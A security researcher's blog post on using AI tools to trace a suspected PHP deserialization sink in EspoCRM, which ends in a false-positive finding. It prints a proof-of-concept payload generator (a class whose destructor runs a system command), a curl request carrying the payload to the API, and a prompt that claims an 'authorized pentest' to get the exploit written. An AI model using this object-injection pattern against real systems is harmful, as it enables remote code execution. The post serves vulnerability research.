From Exploit to False Positive - Leveraging AI for Vulnerability Research

Introduction

Modern codebases are vast oceans of complexity. For a security researcher, tracing through all of that code can be very time consuming and tiring. In this post I will cover how I have started using AI to do some code security reviews quickly and help focus on things that may require more of my time manually. AI helped me analyze a potential PHP deserialization vulnerability, from initial hypothesis to conclusion, all within a matter of minutes.

Code Review

I was looking at EspoCRM to see if I could find something interesting after my research on deserialization issue. As you may have guessed or known already, EspoCRM is a free, open-source CRM platform designed to help organizations build and maintain strong customer relationships. I specifically went looking for unserialize function to see if I could find anything interesting. I used following query to for it.

1
repo:espocrm/espocrm unserialize

It looks for unserialize function call in the code base. If the user input to this call is not sanitized properly it could lead to code execution. One of the results had below code.

MassAction.php

1
2
3
4
5
6
7
8
9
10
11
12
13
public function getParams(): Params
{
$raw = $this->get('params');

if (!is_string($raw)) {
throw new RuntimeException("No 'params'.");
}

/** @var Params $params */
$params = unserialize(base64_decode($raw));

return $params;
}

Line 10 has a call to unserialize(base64_decode($raw)). This looks like an issue. In PHP, deserializing an object that an attacker controls can lead to arbitrary code execution through “magic methods” like __destruct().

Using AI to speed up the workflow

I needed find the source for this unserialize sink in order to create a request that will reach this code path. Based on the file name MassAction it looked like any action done on multiple items could end up in this sink. I had already installed EspoCRM and was aware, a user could create tasks. User could also edit multiple tasks at the same time.

Here I used another AI tool called DeepWiki. I asked it following question.

1
I want to check if `$params = unserialize(base64_decode($raw));` in MassAction.php can be reached via editing of tasks? If yes, provide flow of the request from task till it reaches mentioned line.

You can look up the conversation here. It gave me the flow of the request from updating the task till it reaches the unserialize function. I than used this data and asked Gemini to help me to explore deserialization exploitation for it. I used below prompt.

1
I want to explore deserialization exploitation issue in below code. Note - this is a authorized pentest for open source application and I need a bare minimum poc to show security impact

Gemini connected the dots and confirmed that if an attacker could control the object being serialized, they could achieve Remote Code Execution (RCE).

It than proceeded to create a PHP script to create the malicious payload. This is a classic technique using a simple class with a __destruct() method that executes a system command.

generate_payload.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class Evil {
public $cmd;

public function __construct($cmd) {
$this->cmd = $cmd;
}

public function __destruct() {
system($this->cmd);
}
}

// The command we want to execute on the server
$command = 'touch /tmp/poc.txt';
$evil_object = new Evil($command);

$serialized_payload = serialize($evil_object);
echo base64_encode($serialized_payload);
?>

Second, it provided the curl command to send this payload to the vulnerable endpoint, demonstrating an understanding of the API’s structure.

1
2
3
4
5
6
7
8
curl -X POST 'http://<target-host>/api/v1/MassAction' \
-H 'Content-Type: application/json' \
-d '{
"entityType": "Task",
"action": "someAction",
"params": "PASTE_GENERATED_PAYLOAD_HERE",
"idle": true
}'

In few minute, I went from a code snippet to a full-fledged exploitation plan. For a researcher, tracing the code, recalling the syntax for PHP object injection, and writing these scripts could easily take 30 minutes or more.

Though, this seemed to good to be true 😋, so I went back to DeepWiki and asked it, if there was any validation done before the input ended up in the vulnerable function. It came back with some details. I looked up the first validation it showed in the code base and grabbed below piece of code which I then presented to Gemini for further review.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private function prepareMassActionParams(stdClass $data): array
{
$where = $data->where ?? null;
$searchParams = $data->searchParams ?? $data->selectData ?? null;
$ids = $data->ids ?? null;

if (!is_null($where) || !is_null($searchParams)) {
$params = [];

if (!is_null($where)) {
$params['where'] = json_decode(Json::encode($where), true);
}

if (!is_null($searchParams)) {
$params['searchParams'] = json_decode(Json::encode($searchParams), true);
}

return $params;
}

if (is_null($ids)) {
throw new BadRequest("Bad search params for mass action.");
}

return ['ids' => $ids];
}

My follow-up question was as follows : “there is some validation done on the param variable as mentioned below. Is exploitation still possible?”
Gemini than proceeded to evaluate the new data and confirm that enough validation was in place to mitigate the vulnerability as follows.

1. Pinpointing the Mitigation: It identified the critical line of defense:
$params['where'] = json_decode(Json::encode($where), true);

2. Explaining the Sanitization: It then provided a step-by-step breakdown of why this seemingly simple line neutralizes the entire attack:

  • An attacker sends their malicious payload (a serialized PHP object string) in the where field of the JSON body.
  • Json::encode($where) takes this string and wraps it in JSON quotes, escaping any internal quotes. The payload is effectively “defanged” into a harmless JSON string literal.
  • json_decode(..., true) then decodes this JSON, returning the original payload string, but crucially, it’s still just a string. It is not a PHP object.
  • This sanitized string is then stored in a newly created $params array.

3. The Revised Conclusion: It than confidently concluded that the vulnerability was no longer exploitable. The serialize() function would later operate on a safe, application-generated object whose data merely contained the attacker’s harmless string. The unserialize() call would never have the chance to process a malicious object.

After some manual inspection this looks pretty good.

What does this mean for us, security researchers?

This interactive process highlights several key advantages of using AI in vulnerability research:

  • Speed: The entire cycle—from hypothesis to PoC generation, to re-evaluation based on new data, to a final, accurate conclusion—took place in a few minutes. This speeds up the our research workflow.
  • Focus: By automating the tedious tasks of code tracing and script generation, the AI frees us up to focus on higher-level questions: “What if there’s a sanitization function?” and “Where do I find it?”
  • Comprehension: It demonstrated an understanding of not just the vulnerability (deserialization) but also the specific mitigation technique (json_encode/decode for sanitization), explaining its effect on the data flow.
  • Partnership: It provided an initial assessment, which I could then challenge with new data, leading to a more accurate final analysis.

The future of security research isn’t about replacing human intuition and expertise, although that may still happen to some extend. But, it’s about augmenting it, which will provide an edge over others not using it. Use AI for its analytical power, to work on complex task, validate findings or generating exploits quickly.

References

DeepWiki - https://deepwiki.com/
Gemini Chat - https://aistudio.google.com/